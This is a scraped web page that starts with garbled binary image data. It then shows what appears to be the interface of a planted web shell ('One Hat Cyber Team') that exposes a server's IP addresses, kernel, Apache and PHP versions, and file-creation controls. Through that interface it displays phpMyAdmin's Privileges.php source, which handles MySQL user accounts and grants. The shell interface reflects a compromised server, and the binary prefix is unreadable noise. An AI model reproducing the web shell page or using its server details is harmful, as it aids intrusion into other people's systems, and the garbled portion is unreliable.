JFIF  H H (ICC_PROFILE   0 mntrRGB XYZ acsp   - desc trXYZ d gXYZ x bXYZ  rTRC  (gTRC  (bTRC  (wtpt  cprt  بV7eudakt!Q ,*RGPQNČzŬb 5666p z"c83''Mq6Gitql@90.ۚAcN|li:9蠃p/^ZnLx84v;[#$ nh'c32o8Ɛ5KAv*_?nX?pyֆ̈́#z23F0Oe> {Gu.V (C'h/o%>x1X r:(>}{ycX8b]U:dOMsVAp'Z3'3E-ybj:>jOvUw#2cl~@gFCjțbz ^:-tdfj{XTh8aUM^+dAl"(KK m1$$ XKKqržoqg V FF#pG~:]֦!!Ң:pC+ AzӬ].t`='h_/} @L\,x㌼z԰+J-v+Y['8' % X q=[4Sj~4ݢ#dʂēRL5kX؊>l:t\baBA\Q38( ө:&$ 'L#d{qH>*5;jDo ˷YmԈ*[9*5tUf%3= GUW\'AR_W4_P պ -|4RFJZv0d[ˠzJ|PU8;鯌 'VcL,κ>*eb)f,0"j1 1v՘;bJ++COz7%>NU,=z\cEVK>Ic7} .jHn;^觱GHI HVǂO:ߊ{mSV?K|@ AiAT`2j 1~K8’$ ~]=9ឦG *9EMּm5Xf9Qĸ}i D%+t+;F: v:-&h_rD|! Ә;Zl븂':C&ҀaeKkm6 uT".}J&\ hciB2B+T7t?EPþЌmAF\lc2ЊABmE,cն\QJ]d5 `O Y@8?lx#KiI&Ri1fR2f1N%_g*TӨ??N:}+לɀh٭qL,ʈBrcuBmz ̢TV^ 뙏8' ufUX3㓏>NG:/;Hp饕B1K /%iɫ VQ%:_ -1oL?Roa\i^F|W*Na)P X#y㯨z+Cح\вjirm*dWҡQbBȨi'%NEb?'[h=`OiU϶u nR}GW4fVJmiR~J|l%m'%"LW V27NsXb?_={s}ij4Ý=SNjxFV"ԎI(E)]ӝЖm[4 m`5-7Wf󪥎bZKa#Vb%KY5T$y`46̼p C7HM'l{Oi +Pw~j,S5T4(FԨ;A`*HJTPgt(6/cg5U1@Qb8Y!rBzOQKF+6v%=~XDPpWc_-:߈#c坣CW1:^Q 06Ӭq@ Dj$ UW$?9F\cSM5=2>hב\,()JBk; J#j徻W(p=oQD #UMhU*Fc ?N=nF5Ӑ12w05Z뀩4ڣ霅uC1y%nJ8Ԑ*crR 9W=H9,A׻,.ZFb QEGVNs, q';OMmbtNVqOw*֙kPѬ؈XJIӯEWok+R{%j; Yx 7&&,LԜYbw"lI(*`۹F AS- #$413)Qpڤ3RxOJ$cP]viuq {kyN.- B,@󪳪ڸAor%X0UNb9 򍕑7)*233|Rnb@q|EUý$!7&["XOy ~ƓtADhP]mG파9p=ԜZ]ӭሎOeyq !bI GU:5~FoL ST[е$]$g*w]!;m@ޠ&IUڬ{҄բ-.SmҒ` vU"oL;'5s"W)@äL1i}^Y5$+Pv0o HU @ȓsQM)?M\4Q $2;g WJ/NwFJGD: y όMfW!QUZ%azҳDK_XhM^rԝ^!d'<#ﴛO{/F?+$ Y' wg'$ljGAH7l4xѶc}I*esg~;ͤt@B2iB'9C a8fTR: %NO@ m3sv w .@濾 ,FYrT0mUW_v>>d[A6ڊx:YTLHvӺ!nSD}>[mET0_,'C]pjVᅷPDZ[-V0`>}ܟpmֻ2O6O*ݹXHSN(J /+1՟#(P*gEO#w&j6?;ڡ)+U]l\/{莄*I/9<'$'#'yt/&-\\WPL`/p9qa'e¨E] fAAEYnGtm,ϮwXT>AaN#FjŵjQFdq^<H?yJ܃2*3 T4ЧH**W;(ꭽ¾Pf=eyA4FJ6{e]JqOCf#3SJf iMM\ iT$rG8$9>2:M)Q#NKe&"E8.z<mHk?#t˒A]; G0H:f!i! j{1m}o7u;$99Ӱ\ncz:zALq޶wyKT<4X,'!Y;Ͱ6q GM~_~܂}t>(zl}:r L9 fe}.-R*<`c6oܛ=prҽGB)nQ%)s*&i΍%—Zb{m[NNkbwBw Q*dF HP iܛ; aV68j}\eIGI'͔B;yA :^bn-m#@S6ˎr ;~cmƻgU:X6G%[gc{]c4)fpsgY˅>*"1}2<175)]V5)kdkM~`΂:{4nGPTTb   뎱϶w FFᓂG8>zF_H9_rDl:ҶH5Z!Bj.yk}erb:SOT]!ǎ?n:HεZsyztn[7NZ#UQO$.J#]Cr#YX9c<'$z 9 .$$PnDSn 2u5X g\ ?|Aᬰⶵ >>bE)Cb-ruMc׺*,\)`^m ge\k.۫8گoK1gWMpU޻zI=EErz:#6--/Wm\z8מ0x tA_c?Ծc^MژIMyO>l0ċ}t7[\ʲ9̜m_a[姯rְjP\kx1'CdmvF70e+m-]a?ݝKuSMUm 8f Yb!)2Z.UD \~:ܽ8zR̪Kcbs&ߦ1$, w\gc3F$iU#<`:I4{w.2aQ$EXNo?Gm NN rE$#Jn҉!AH'zePzRog8u(tJP߁Z.pÐ͢Aռ65Xsyvm 6RW7W;|0 >OүG@ٳ<>omԼ()kZJlK,F 4)snOQ{u㌏= Ao,ծ?eKBzG 6e6 f|CU _4C[j͕M8,%emM8\ cv COwTGi _94BDf%'ns8MPc&-y"8R_j 3a+z+N 9QlDQ40E VۋrH2I_YO',:뿉WNHvﵐ0B}na*E zUbN#0e"f.Q H5"-HVn=+ # Eiy- v8=g`o[ 鼛2.D^QeB ؅qϿRC~ B+Jۍ8 4*ӖΝ1R BI\ 1[0 I9y)Y " 7]6qg\ vP  s= Ѭ֕)פE< c`ϷU9W,: ?y1hsU(T ge/룮JA]|4aZVAIeIhBI!l$3![qHnw\7R{oM/ִ>5& gwjFE dc@K:V&W/k+=Yk[ @fU5zzmFȖH,[ n-dc wd[z"g4ϘRr0`B8_; #$^Zo5KZYKj GY%s"!a[9I2TF-w#a]˒Itٮei_FpVЧ૱W3eCi7 "}HApG>h֝5i T٧- '`dX1AF$$ޙ_Z]ڷTC Uy JGO} >A"5a> ZUR -Z\9 jrWݖQRݳ*ļ]$ڵXq=/w z\II#{ӭl^;F_R쵎[ָ[gKKͰoQ )W녕іs*kuzŨQde`WU_KLE~"g r<2GyއL(-VY -Z(IU0 |\;8C mhl:̄DkYHOk|:*DY tsس |zrO;񍃌sT31=jwyШ^nZHm_G̮0W󿓹S;_$mٛIDV=f-H}U]HA*vԶ3\Wh*I#$@6x^OZC&JU 16 XD*if&BDGFYYP[KLX uX .Z hq Ghb8M#Mqt\c> aT 00=㎨ʕGQԪR,ĜI9zӦJO3Rn`C5܊@QO1N.ؔ"I\YÖĐHdL\}IP~jm$ y; :ZGZVJv =&*UF#``R`*S+p\=) ҭ9k̮Ršx0'**ԑLkɺk+zJb#:|MZ ?j$ݼ &X)$6FY6ѕ/; J*nlC*ų_ ԕ{_6:\47ڷs4RmĊ=z *ʪXT[]5Bl#a-˙bv8@H|Rwe9A%5&M%Z02TN)&&GfM 儀oŒM;=.//k~ E"a9/3y,>lj>ZXy&εYP&h gec<``]!}i'c KQulFIʓ_\T58(+cJq~ [dgmm/`Xڙhtkq ו$"c[PVY[uɜ&#몵"ȾqC"ÜȔ!<Mj8u-dx*gϫtTLdKlaWڭ\~|7u`h(w֋cL=˼=FvcGs}зUBSМ;FI;Q$8+V|[CS쮙1%YP Q% LVVK+&,cIb]Vyi ~h?yF4"5As-F ݆x55P&E:W@f;}Gy^]U ITki 1 d﫠*cNh' cؗYnsL:b?H :kM~@8#Iqɔ~:f]P*i]H'fjhxTҗ1O:^t$1]UXz&tODT>(^s&3#N_/x-䬦? ~vU-W$4'ӎvRG|jySW?u4(1 G[ِ22jʎhrmoյشgRͮ%ϟѬ9 oR  n-&F-@hgY_qN;"2 !KJ  šA^, "aG8`=14=5Mqk>U@UT :RgjrKF.O$I9'=i}._ One Hat Cyber Team
  • Your IP: 172.69.214.218
  • Server IP: 104.21.60.175
  • Server: Linux ip-172-26-1-145 6.1.0-37-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64
  • Server Software: Apache
  • PHP Version: 8.3.22
  • Buat File | Buat Folder
View File Name : Privileges.php
'; return [ $title, $export, ]; } /** * Get HTML for display Add userfieldset * * @param string $db the database * @param string $table the table name * * @return string html output */ public function getAddUserHtmlFieldset($db = '', $table = '') { if (! $this->dbi->isCreateUser()) { return ''; } $relParams = []; $urlParams = ['adduser' => 1]; if (! empty($db)) { $urlParams['dbname'] = $relParams['checkprivsdb'] = $db; } if (! empty($table)) { $urlParams['tablename'] = $relParams['checkprivstable'] = $table; } return $this->template->render('server/privileges/add_user_fieldset', [ 'url_params' => $urlParams, 'rel_params' => $relParams, ]); } /** * Get HTML snippet for display user overview page * * @param string $textDir text directory * * @return string */ public function getHtmlForUserOverview($textDir) { $passwordColumn = 'Password'; $serverVersion = $this->dbi->getVersion(); if (Compatibility::isMySqlOrPerconaDb() && $serverVersion >= 50706) { $passwordColumn = 'authentication_string'; } // $sql_query is for the initial-filtered, // $sql_query_all is for counting the total no. of users $sqlQuery = $sqlQueryAll = 'SELECT *,' . ' IF(`' . $passwordColumn . "` = _latin1 '', 'N', 'Y') AS 'Password'" . ' FROM `mysql`.`user`'; $sqlQuery .= (isset($_GET['initial']) ? $this->rangeOfUsers($_GET['initial']) : ''); $sqlQuery .= ' ORDER BY `User` ASC, `Host` ASC;'; $sqlQueryAll .= ' ;'; $res = $this->dbi->tryQuery($sqlQuery); $resAll = $this->dbi->tryQuery($sqlQueryAll); $errorMessages = ''; if (! $res) { // the query failed! This may have two reasons: // - the user does not have enough privileges // - the privilege tables use a structure of an earlier version. // so let's try a more simple query unset($resAll); $sqlQuery = 'SELECT * FROM `mysql`.`user`'; $res = $this->dbi->tryQuery($sqlQuery); if (! $res) { $errorMessages .= $this->getHtmlForViewUsersError(); $errorMessages .= $this->getAddUserHtmlFieldset(); } else { // This message is hardcoded because I will replace it by // a automatic repair feature soon. $raw = 'Your privilege table structure seems to be older than' . ' this MySQL version!
' . 'Please run the mysql_upgrade command' . ' that should be included in your MySQL server distribution' . ' to solve this problem!'; $errorMessages .= Message::rawError($raw)->getDisplay(); } unset($res); } else { $dbRights = $this->getDbRightsForUserOverview(); foreach ($dbRights as $right) { foreach ($right as $account) { if (empty($account['User']) && $account['Host'] === 'localhost') { $emptyUserNotice = Message::notice( __( 'A user account allowing any user from localhost to ' . 'connect is present. This will prevent other users ' . 'from connecting if the host part of their account ' . 'allows a connection from any (%) host.' ) . MySQLDocumentation::show('problems-connecting') )->getDisplay(); break 2; } } } /** * Displays the initials * Also not necessary if there is less than 20 privileges */ if ($resAll && $resAll->numRows() > 20) { // for all initials, even non A-Z $initials = $this->getHtmlForInitials(); } /** * Display the user overview * (if less than 50 users, display them immediately) */ if (isset($_GET['initial']) || isset($_GET['showall']) || $res->numRows() < 50) { $usersOverview = $this->getUsersOverview($res, $dbRights, $textDir); $usersOverview .= $this->template->render('export_modal'); } $response = ResponseRenderer::getInstance(); if (! $response->isAjax() || ! empty($_REQUEST['ajax_page_request'])) { if ($GLOBALS['is_reload_priv']) { $flushnote = new Message( __( 'Note: phpMyAdmin gets the users’ privileges directly ' . 'from MySQL’s privilege tables. The content of these ' . 'tables may differ from the privileges the server uses, ' . 'if they have been changed manually. In this case, ' . 'you should %sreload the privileges%s before you continue.' ), Message::NOTICE ); $flushnote->addParamHtml( '' ); $flushnote->addParamHtml(''); } else { $flushnote = new Message( __( 'Note: phpMyAdmin gets the users’ privileges directly ' . 'from MySQL’s privilege tables. The content of these ' . 'tables may differ from the privileges the server uses, ' . 'if they have been changed manually. In this case, ' . 'the privileges have to be reloaded but currently, you ' . 'don\'t have the RELOAD privilege.' ) . MySQLDocumentation::show( 'privileges-provided', false, null, null, 'priv_reload' ), Message::NOTICE ); } $flushNotice = $flushnote->getDisplay(); } } return $this->template->render('server/privileges/user_overview', [ 'error_messages' => $errorMessages, 'empty_user_notice' => $emptyUserNotice ?? '', 'initials' => $initials ?? '', 'users_overview' => $usersOverview ?? '', 'is_createuser' => $this->dbi->isCreateUser(), 'flush_notice' => $flushNotice ?? '', ]); } /** * Get HTML snippet for display user properties * * @param bool $dbnameIsWildcard whether database name is wildcard or not * @param string $urlDbname url database name that urlencode() string * @param string $username username * @param string $hostname host name * @param string|array $dbname database name * @param string $tablename table name * * @return string */ public function getHtmlForUserProperties( $dbnameIsWildcard, $urlDbname, $username, $hostname, $dbname, $tablename ) { global $cfg; $sql = "SELECT '1' FROM `mysql`.`user`" . " WHERE `User` = '" . $this->dbi->escapeString($username) . "'" . " AND `Host` = '" . $this->dbi->escapeString($hostname) . "';"; $userDoesNotExists = ! $this->dbi->fetchValue($sql); $loginInformationFields = ''; if ($userDoesNotExists) { $loginInformationFields = $this->getHtmlForLoginInformationFields(); } $params = [ 'username' => $username, 'hostname' => $hostname, ]; if (! is_array($dbname) && strlen($dbname) > 0) { $params['dbname'] = $dbname; if (strlen($tablename) > 0) { $params['tablename'] = $tablename; } } else { $params['dbname'] = $dbname; } $privilegesTable = $this->getHtmlToDisplayPrivilegesTable( // If $dbname is an array, pass any one db as all have same privs. is_string($dbname) && strlen($dbname) > 0 ? $dbname : (is_array($dbname) ? (string) $dbname[0] : '*'), strlen($tablename) > 0 ? $tablename : '*' ); $tableSpecificRights = ''; if (! is_array($dbname) && strlen($tablename) === 0 && empty($dbnameIsWildcard)) { // no table name was given, display all table specific rights // but only if $dbname contains no wildcards if (strlen($dbname) === 0) { $tableSpecificRights .= $this->getHtmlForAllTableSpecificRights($username, $hostname, 'database'); } else { // unescape wildcards in dbname at table level $unescapedDb = Util::unescapeMysqlWildcards($dbname); $tableSpecificRights .= $this->getHtmlForAllTableSpecificRights( $username, $hostname, 'table', $unescapedDb ); $tableSpecificRights .= $this->getHtmlForAllTableSpecificRights( $username, $hostname, 'routine', $unescapedDb ); } } $databaseUrl = Util::getScriptNameForOption($cfg['DefaultTabDatabase'], 'database'); $databaseUrlTitle = Util::getTitleForTarget($cfg['DefaultTabDatabase']); $tableUrl = Util::getScriptNameForOption($cfg['DefaultTabTable'], 'table'); $tableUrlTitle = Util::getTitleForTarget($cfg['DefaultTabTable']); $changePassword = ''; $userGroup = ''; $changeLoginInfoFields = ''; if (! is_array($dbname) && strlen($dbname) === 0 && ! $userDoesNotExists) { //change login information $changePassword = $this->getFormForChangePassword($username, $hostname, true); $userGroup = $this->getUserGroupForUser($username); $changeLoginInfoFields = $this->getHtmlForLoginInformationFields('change', $username, $hostname); } return $this->template->render('server/privileges/user_properties', [ 'user_does_not_exists' => $userDoesNotExists, 'login_information_fields' => $loginInformationFields, 'params' => $params, 'privileges_table' => $privilegesTable, 'table_specific_rights' => $tableSpecificRights, 'change_password' => $changePassword, 'database' => $dbname, 'dbname' => $urlDbname, 'username' => $username, 'hostname' => $hostname, 'is_databases' => $dbnameIsWildcard || is_array($dbname) && count($dbname) > 1, 'is_wildcard' => $dbnameIsWildcard, 'table' => $tablename, 'current_user' => $this->dbi->getCurrentUser(), 'user_group' => $userGroup, 'change_login_info_fields' => $changeLoginInfoFields, 'database_url' => $databaseUrl, 'database_url_title' => $databaseUrlTitle, 'table_url' => $tableUrl, 'table_url_title' => $tableUrlTitle, ]); } /** * Get queries for Table privileges to change or copy user * * @param string $userHostCondition user host condition to * select relevant table privileges * @param array $queries queries array * @param string $username username * @param string $hostname host name * * @return array */ public function getTablePrivsQueriesForChangeOrCopyUser( $userHostCondition, array $queries, $username, $hostname ) { $res = $this->dbi->query( 'SELECT `Db`, `Table_name`, `Table_priv` FROM `mysql`.`tables_priv`' . $userHostCondition ); while ($row = $res->fetchAssoc()) { $res2 = $this->dbi->query( 'SELECT `Column_name`, `Column_priv`' . ' FROM `mysql`.`columns_priv`' . ' WHERE `User`' . ' = \'' . $this->dbi->escapeString($_POST['old_username']) . "'" . ' AND `Host`' . ' = \'' . $this->dbi->escapeString($_POST['old_username']) . '\'' . ' AND `Db`' . ' = \'' . $this->dbi->escapeString($row['Db']) . "'" . ' AND `Table_name`' . ' = \'' . $this->dbi->escapeString($row['Table_name']) . "'" . ';' ); $tmpPrivs1 = $this->extractPrivInfo($row); $tmpPrivs2 = [ 'Select' => [], 'Insert' => [], 'Update' => [], 'References' => [], ]; while ($row2 = $res2->fetchAssoc()) { $tmpArray = explode(',', $row2['Column_priv']); if (in_array('Select', $tmpArray)) { $tmpPrivs2['Select'][] = $row2['Column_name']; } if (in_array('Insert', $tmpArray)) { $tmpPrivs2['Insert'][] = $row2['Column_name']; } if (in_array('Update', $tmpArray)) { $tmpPrivs2['Update'][] = $row2['Column_name']; } if (! in_array('References', $tmpArray)) { continue; } $tmpPrivs2['References'][] = $row2['Column_name']; } if (count($tmpPrivs2['Select']) > 0 && ! in_array('SELECT', $tmpPrivs1)) { $tmpPrivs1[] = 'SELECT (`' . implode('`, `', $tmpPrivs2['Select']) . '`)'; } if (count($tmpPrivs2['Insert']) > 0 && ! in_array('INSERT', $tmpPrivs1)) { $tmpPrivs1[] = 'INSERT (`' . implode('`, `', $tmpPrivs2['Insert']) . '`)'; } if (count($tmpPrivs2['Update']) > 0 && ! in_array('UPDATE', $tmpPrivs1)) { $tmpPrivs1[] = 'UPDATE (`' . implode('`, `', $tmpPrivs2['Update']) . '`)'; } if (count($tmpPrivs2['References']) > 0 && ! in_array('REFERENCES', $tmpPrivs1)) { $tmpPrivs1[] = 'REFERENCES (`' . implode('`, `', $tmpPrivs2['References']) . '`)'; } $queries[] = 'GRANT ' . implode(', ', $tmpPrivs1) . ' ON ' . Util::backquote($row['Db']) . '.' . Util::backquote($row['Table_name']) . ' TO \'' . $this->dbi->escapeString($username) . '\'@\'' . $this->dbi->escapeString($hostname) . '\'' . (in_array('Grant', explode(',', $row['Table_priv'])) ? ' WITH GRANT OPTION;' : ';'); } return $queries; } /** * Get queries for database specific privileges for change or copy user * * @param array $queries queries array with string * @param string $username username * @param string $hostname host name * * @return array */ public function getDbSpecificPrivsQueriesForChangeOrCopyUser( array $queries, string $username, string $hostname ) { $userHostCondition = ' WHERE `User`' . ' = \'' . $this->dbi->escapeString($_POST['old_username']) . "'" . ' AND `Host`' . ' = \'' . $this->dbi->escapeString($_POST['old_hostname']) . '\';'; $res = $this->dbi->query('SELECT * FROM `mysql`.`db`' . $userHostCondition); while ($row = $res->fetchAssoc()) { $queries[] = 'GRANT ' . implode(', ', $this->extractPrivInfo($row)) . ' ON ' . Util::backquote($row['Db']) . '.*' . ' TO \'' . $this->dbi->escapeString($username) . '\'@\'' . $this->dbi->escapeString($hostname) . '\'' . ($row['Grant_priv'] === 'Y' ? ' WITH GRANT OPTION;' : ';'); } return $this->getTablePrivsQueriesForChangeOrCopyUser($userHostCondition, $queries, $username, $hostname); } /** * Prepares queries for adding users and * also create database and return query and message * * @param bool $error whether user create or not * @param string $realSqlQuery SQL query for add a user * @param string $sqlQuery SQL query to be displayed * @param string $username username * @param string $hostname host name * @param string $dbname database name * @param string $alterRealSqlQuery SQL query for ALTER USER * @param string $alterSqlQuery SQL query for ALTER USER to be displayed * * @return array */ public function addUserAndCreateDatabase( $error, $realSqlQuery, $sqlQuery, $username, $hostname, $dbname, $alterRealSqlQuery, $alterSqlQuery, bool $createDb1, bool $createDb2, bool $createDb3 ): array { if ($error || (! empty($realSqlQuery) && ! $this->dbi->tryQuery($realSqlQuery))) { $createDb1 = $createDb2 = $createDb3 = false; $message = Message::rawError($this->dbi->getError()); } elseif ($alterRealSqlQuery !== '' && ! $this->dbi->tryQuery($alterRealSqlQuery)) { $createDb1 = $createDb2 = $createDb3 = false; $message = Message::rawError($this->dbi->getError()); } else { $sqlQuery .= $alterSqlQuery; $message = Message::success(__('You have added a new user.')); } if ($createDb1) { // Create database with same name and grant all privileges $query = 'CREATE DATABASE IF NOT EXISTS ' . Util::backquote($username) . ';'; $sqlQuery .= $query; if (! $this->dbi->tryQuery($query)) { $message = Message::rawError($this->dbi->getError()); } /** * Reload the navigation */ $GLOBALS['reload'] = true; $GLOBALS['db'] = $username; $query = 'GRANT ALL PRIVILEGES ON ' . Util::backquote( Util::escapeMysqlWildcards($username) ) . '.* TO \'' . $this->dbi->escapeString($username) . '\'@\'' . $this->dbi->escapeString($hostname) . '\';'; $sqlQuery .= $query; if (! $this->dbi->tryQuery($query)) { $message = Message::rawError($this->dbi->getError()); } } if ($createDb2) { // Grant all privileges on wildcard name (username\_%) $query = 'GRANT ALL PRIVILEGES ON ' . Util::backquote( Util::escapeMysqlWildcards($username) . '\_%' ) . '.* TO \'' . $this->dbi->escapeString($username) . '\'@\'' . $this->dbi->escapeString($hostname) . '\';'; $sqlQuery .= $query; if (! $this->dbi->tryQuery($query)) { $message = Message::rawError($this->dbi->getError()); } } if ($createDb3) { // Grant all privileges on the specified database to the new user $query = 'GRANT ALL PRIVILEGES ON ' . Util::backquote($dbname) . '.* TO \'' . $this->dbi->escapeString($username) . '\'@\'' . $this->dbi->escapeString($hostname) . '\';'; $sqlQuery .= $query; if (! $this->dbi->tryQuery($query)) { $message = Message::rawError($this->dbi->getError()); } } return [ $sqlQuery, $message, ]; } /** * Get the hashed string for password * * @param string $password password * * @return string */ public function getHashedPassword($password) { $password = $this->dbi->escapeString($password); $result = $this->dbi->fetchSingleRow("SELECT PASSWORD('" . $password . "') AS `password`;"); return $result['password']; } /** * Check if MariaDB's 'simple_password_check' * OR 'cracklib_password_check' is ACTIVE */ public function checkIfMariaDBPwdCheckPluginActive(): bool { $serverVersion = $this->dbi->getVersion(); if (! (Compatibility::isMariaDb() && $serverVersion >= 100002)) { return false; } $result = $this->dbi->tryQuery('SHOW PLUGINS SONAME LIKE \'%_password_check%\''); /* Plugins are not working, for example directory does not exists */ if ($result === false) { return false; } while ($row = $result->fetchAssoc()) { if ($row['Status'] === 'ACTIVE') { return true; } } return false; } /** * Get SQL queries for Display and Add user * * @param string $username username * @param string $hostname host name * @param string $password password * * @return array ($create_user_real, $create_user_show, $real_sql_query, $sql_query * $password_set_real, $password_set_show, $alter_real_sql_query, $alter_sql_query) */ public function getSqlQueriesForDisplayAndAddUser($username, $hostname, $password) { $slashedUsername = $this->dbi->escapeString($username); $slashedHostname = $this->dbi->escapeString($hostname); $slashedPassword = $this->dbi->escapeString($password); $serverVersion = $this->dbi->getVersion(); $createUserStmt = sprintf('CREATE USER \'%s\'@\'%s\'', $slashedUsername, $slashedHostname); $isMariaDBPwdPluginActive = $this->checkIfMariaDBPwdCheckPluginActive(); // See https://github.com/phpmyadmin/phpmyadmin/pull/11560#issuecomment-147158219 // for details regarding details of syntax usage for various versions // 'IDENTIFIED WITH auth_plugin' // is supported by MySQL 5.5.7+ if (Compatibility::isMySqlOrPerconaDb() && $serverVersion >= 50507 && isset($_POST['authentication_plugin'])) { $createUserStmt .= ' IDENTIFIED WITH ' . $_POST['authentication_plugin']; } // 'IDENTIFIED VIA auth_plugin' // is supported by MariaDB 5.2+ if ( Compatibility::isMariaDb() && $serverVersion >= 50200 && isset($_POST['authentication_plugin']) && ! $isMariaDBPwdPluginActive ) { $createUserStmt .= ' IDENTIFIED VIA ' . $_POST['authentication_plugin']; } $createUserReal = $createUserStmt; $createUserShow = $createUserStmt; $passwordSetStmt = 'SET PASSWORD FOR \'%s\'@\'%s\' = \'%s\''; $passwordSetShow = sprintf($passwordSetStmt, $slashedUsername, $slashedHostname, '***'); $sqlQueryStmt = sprintf( 'GRANT %s ON *.* TO \'%s\'@\'%s\'', implode(', ', $this->extractPrivInfo()), $slashedUsername, $slashedHostname ); $realSqlQuery = $sqlQuery = $sqlQueryStmt; // Set the proper hashing method if (isset($_POST['authentication_plugin'])) { $this->setProperPasswordHashing($_POST['authentication_plugin']); } // Use 'CREATE USER ... WITH ... AS ..' syntax for // newer MySQL versions // and 'CREATE USER ... VIA .. USING ..' syntax for // newer MariaDB versions if ( (Compatibility::isMySqlOrPerconaDb() && $serverVersion >= 50706) || (Compatibility::isMariaDb() && $serverVersion >= 50200) ) { $passwordSetReal = null; // Required for binding '%' with '%s' $createUserStmt = str_replace('%', '%%', $createUserStmt); // MariaDB uses 'USING' whereas MySQL uses 'AS' // but MariaDB with validation plugin needs cleartext password if (Compatibility::isMariaDb() && ! $isMariaDBPwdPluginActive && isset($_POST['authentication_plugin'])) { $createUserStmt .= ' USING \'%s\''; } elseif (Compatibility::isMariaDb()) { $createUserStmt .= ' IDENTIFIED BY \'%s\''; } elseif (Compatibility::isMySqlOrPerconaDb() && $serverVersion >= 80011) { if (! str_contains($createUserStmt, 'IDENTIFIED')) { // Maybe the authentication_plugin was not posted and then a part is missing $createUserStmt .= ' IDENTIFIED BY \'%s\''; } else { $createUserStmt .= ' BY \'%s\''; } } else { $createUserStmt .= ' AS \'%s\''; } if ($_POST['pred_password'] === 'keep') { $createUserReal = sprintf($createUserStmt, $slashedPassword); $createUserShow = sprintf($createUserStmt, '***'); } elseif ($_POST['pred_password'] === 'none') { $createUserReal = sprintf($createUserStmt, null); $createUserShow = sprintf($createUserStmt, '***'); } else { if ( ! ((Compatibility::isMariaDb() && $isMariaDBPwdPluginActive) || Compatibility::isMySqlOrPerconaDb() && $serverVersion >= 80011) ) { $hashedPassword = $this->getHashedPassword($_POST['pma_pw']); } else { // MariaDB with validation plugin needs cleartext password $hashedPassword = $_POST['pma_pw']; } $createUserReal = sprintf($createUserStmt, $hashedPassword); $createUserShow = sprintf($createUserStmt, '***'); } } else { // Use 'SET PASSWORD' syntax for pre-5.7.6 MySQL versions // and pre-5.2.0 MariaDB versions if ($_POST['pred_password'] === 'keep') { $passwordSetReal = sprintf($passwordSetStmt, $slashedUsername, $slashedHostname, $slashedPassword); } elseif ($_POST['pred_password'] === 'none') { $passwordSetReal = sprintf($passwordSetStmt, $slashedUsername, $slashedHostname, null); } else { $hashedPassword = $this->getHashedPassword($_POST['pma_pw']); $passwordSetReal = sprintf($passwordSetStmt, $slashedUsername, $slashedHostname, $hashedPassword); } } $alterRealSqlQuery = ''; $alterSqlQuery = ''; if (Compatibility::isMySqlOrPerconaDb() && $serverVersion >= 80011) { $sqlQueryStmt = ''; if ( (isset($_POST['Grant_priv']) && $_POST['Grant_priv'] === 'Y') || (isset($GLOBALS['Grant_priv']) && $GLOBALS['Grant_priv'] === 'Y') ) { $sqlQueryStmt = ' WITH GRANT OPTION'; } $realSqlQuery .= $sqlQueryStmt; $sqlQuery .= $sqlQueryStmt; $alterSqlQueryStmt = sprintf('ALTER USER \'%s\'@\'%s\'', $slashedUsername, $slashedHostname); $alterRealSqlQuery = $alterSqlQueryStmt; $alterSqlQuery = $alterSqlQueryStmt; } // add REQUIRE clause $requireClause = $this->getRequireClause(); $withClause = $this->getWithClauseForAddUserAndUpdatePrivs(); if (Compatibility::isMySqlOrPerconaDb() && $serverVersion >= 80011) { $alterRealSqlQuery .= $requireClause; $alterSqlQuery .= $requireClause; $alterRealSqlQuery .= $withClause; $alterSqlQuery .= $withClause; } else { $realSqlQuery .= $requireClause; $sqlQuery .= $requireClause; $realSqlQuery .= $withClause; $sqlQuery .= $withClause; } if ($alterRealSqlQuery !== '') { $alterRealSqlQuery .= ';'; $alterSqlQuery .= ';'; } $createUserReal .= ';'; $createUserShow .= ';'; $realSqlQuery .= ';'; $sqlQuery .= ';'; // No Global GRANT_OPTION privilege if (! $this->dbi->isGrantUser()) { $realSqlQuery = ''; $sqlQuery = ''; } // Use 'SET PASSWORD' for pre-5.7.6 MySQL versions // and pre-5.2.0 MariaDB if ( (Compatibility::isMySqlOrPerconaDb() && $serverVersion >= 50706) || (Compatibility::isMariaDb() && $serverVersion >= 50200) ) { $passwordSetReal = null; $passwordSetShow = null; } else { if ($passwordSetReal !== null) { $passwordSetReal .= ';'; } $passwordSetShow .= ';'; } return [ $createUserReal, $createUserShow, $realSqlQuery, $sqlQuery, $passwordSetReal, $passwordSetShow, $alterRealSqlQuery, $alterSqlQuery, ]; } /** * Returns the type ('PROCEDURE' or 'FUNCTION') of the routine * * @param string $dbname database * @param string $routineName routine * * @return string type */ public function getRoutineType(string $dbname, string $routineName) { $routineData = $this->dbi->getRoutines($dbname); $routineName = mb_strtolower($routineName); foreach ($routineData as $routine) { if (mb_strtolower($routine['name']) === $routineName) { return $routine['type']; } } return ''; } /** * @param string $username User name * @param string $hostname Host name * @param string $database Database name * @param string $routine Routine name * * @return array */ private function getRoutinePrivileges( string $username, string $hostname, string $database, string $routine ): array { $sql = 'SELECT `Proc_priv`' . ' FROM `mysql`.`procs_priv`' . " WHERE `User` = '" . $this->dbi->escapeString($username) . "'" . " AND `Host` = '" . $this->dbi->escapeString($hostname) . "'" . " AND `Db` = '" . $this->dbi->escapeString(Util::unescapeMysqlWildcards($database)) . "'" . " AND `Routine_name` LIKE '" . $this->dbi->escapeString($routine) . "';"; $privileges = $this->dbi->fetchValue($sql); if ($privileges === false) { $privileges = ''; } return $this->parseProcPriv($privileges); } public function getFormForChangePassword(string $username, string $hostname, bool $editOthers): string { global $route; $isPrivileges = $route === '/server/privileges'; $serverVersion = $this->dbi->getVersion(); $origAuthPlugin = $this->getCurrentAuthenticationPlugin('change', $username, $hostname); $isNew = (Compatibility::isMySqlOrPerconaDb() && $serverVersion >= 50507) || (Compatibility::isMariaDb() && $serverVersion >= 50200); $hasMoreAuthPlugins = (Compatibility::isMySqlOrPerconaDb() && $serverVersion >= 50706) || ($this->dbi->isSuperUser() && $editOthers); $activeAuthPlugins = ['mysql_native_password' => __('Native MySQL authentication')]; if ($isNew && $hasMoreAuthPlugins) { $activeAuthPlugins = $this->plugins->getAuthentication(); if (isset($activeAuthPlugins['mysql_old_password'])) { unset($activeAuthPlugins['mysql_old_password']); } } return $this->template->render('server/privileges/change_password', [ 'username' => $username, 'hostname' => $hostname, 'is_privileges' => $isPrivileges, 'is_new' => $isNew, 'has_more_auth_plugins' => $hasMoreAuthPlugins, 'active_auth_plugins' => $activeAuthPlugins, 'orig_auth_plugin' => $origAuthPlugin, ]); } /** * @see 